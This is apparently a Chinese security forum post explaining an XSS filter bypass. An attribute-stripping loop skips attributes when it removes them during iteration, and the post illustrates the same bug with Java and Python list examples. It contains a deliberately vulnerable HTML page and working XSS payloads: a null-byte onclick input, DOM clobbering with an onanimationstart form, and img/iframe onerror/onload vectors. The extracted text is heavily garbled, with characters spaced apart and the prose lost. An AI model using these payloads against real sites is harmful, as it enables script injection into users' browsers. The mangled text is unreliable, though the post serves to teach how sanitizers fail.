[418] 2021-08-01_错误的循环导致绕过过滤-XSS

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2021-08-01_错误的循环导致绕过过滤-XSS - X S S a l u m m 0 x   a l u m m 0 x   2 0 2 1 - 0 8 - 0 1   # x s s   , 3 p < ! D O C T Y P E   h t m l > < h t m l > < b o d y > < i m g   i d = x > < i m g   n a m e = y > < / b o d y > < s c r i p t > c o n s t   d a t a   =   d e c o d e U R I C o m p o n e n t ( l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ; c o n s t   r o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; r o o t . i n n e r H T M L   =   d a t a ;     / / / / p a y l o a d / / h t t p : / / l o c a l h o s t / x s s . h t m l # % 3 C i n p u t % 2 0 s % 0 0 r c = # % 2 0 o n c l i c k = a l e r t ( 1 ) % 3 E / * f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   {     f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { e l . r e m o v e A t t r i b u t e ( a t t r . n a m e ) ;     } } * /   / / / / p a y l o a d / / h t t p : / / l o c a l h o s t / x s s . h t m l # < s t y l e > @ k e y f r a m e s   x { } < / s t y l e > < f o r m   s t y l e = " a n i m a t i o n - n a m e : x "   o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 ) " > < i n p u t   i d = a t t r i b u t e s > < i n p u t   i d = a t t r i b u t e s > f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   { l e t   a t t r s   =   [ ] ; f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { a t t r s . p u s h ( a t t r . n a m e ) ; } f o r   ( l e t   n a m e   o f   a t t r s )   { e l . r e m o v e A t t r i b u t e ( n a m e ) ; } }   d o c u m e n t . b o d y . a p p e n d C h i l d ( r o o t ) ;   < / s c r i p t > < / h t m l > p f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   {     f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { e l . r e m o v e A t t r i b u t e ( a t t r . n a m e ) ;     } } p a y l o a d
< i m g   x x x   s r c = 1   x x x   o n e r r o r = a l e r t ( 1 ) > < i m g   s r c = 1   o n e r r o r = a l e r t ( 1 ) > < i f r a m e   a t t r i b u t e s   o n l o a d = c o n f i r m ( 1 ) > < i f r a m e   o n l o a d = c o n f i r m ( 1 ) > 1 , 3 , 5 b u g r e m o v e e l . a t t r i b u t e s l e n g t h j a v a i m p o r t   j a v a . u t i l . A r r a y L i s t ; i m p o r t   j a v a . u t i l . L i s t ; p u b l i c   c l a s s   T e s t   {       p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {               L i s t < S t r i n g >   s t u d e n t s   =   n e w   A r r a y L i s t < > ( ) ;               s t u d e n t s . a d d ( " a a a " ) ;               s t u d e n t s . a d d ( " b b b " ) ;               s t u d e n t s . a d d ( " c c c " ) ;               f o r   ( i n t   i = 0 ;   i < s t u d e n t s . s i z e ( ) ;   i + + )   {                       S t r i n g   s t u d e n t   =   s t u d e n t s . g e t ( i ) ;                       s t u d e n t s . r e m o v e ( s t u d e n t ) ;             }               S y s t e m . o u t . p r i n t l n ( s t u d e n t s . t o S t r i n g ( ) ) ;               / /   [ b b b ]     } }
s t u d e n t s s i z e p u b l i c   c l a s s   T e s t   {       p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {               L i s t < S t r i n g >   s t u d e n t s   =   n e w   A r r a y L i s t < > ( ) ;               s t u d e n t s . a d d ( " a a a " ) ;               s t u d e n t s . a d d ( " b b b " ) ;               s t u d e n t s . a d d ( " c c c " ) ;               f o r   ( i n t   i = 0 ;   i < s t u d e n t s . s i z e ( ) ;   i + + )   {                       S t r i n g   s t u d e n t   =   s t u d e n t s . g e t ( i ) ;                       S y s t e m . o u t . p r i n t l n ( i   +   "   :   "   +   s t u d e n t   +   "   :   "   +   s t u d e n t s . t o S t r i n g ( ) ) ;                       s t u d e n t s . r e m o v e ( s t u d e n t ) ;             }               S y s t e m . o u t . p r i n t l n ( s t u d e n t s . t o S t r i n g ( ) ) ;     } }
0   :   a a a   :   [ a a a ,   b b b ,   c c c ] 1   :   c c c   :   [ b b b ,   c c c ] [ b b b ] p y t h o n l   =   [ 1 ,   2 ,   3 ,   4 ,   5 ] f o r   i   i n   l :     l . r e m o v e ( i )     p r i n t ( i ,   "   " ,   l ) p r i n t ( l ) 1       [ 2 ,   3 ,   4 ,   5 ] 3       [ 2 ,   4 ,   5 ] 5       [ 2 ,   4 ] [ 2 ,   4 ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则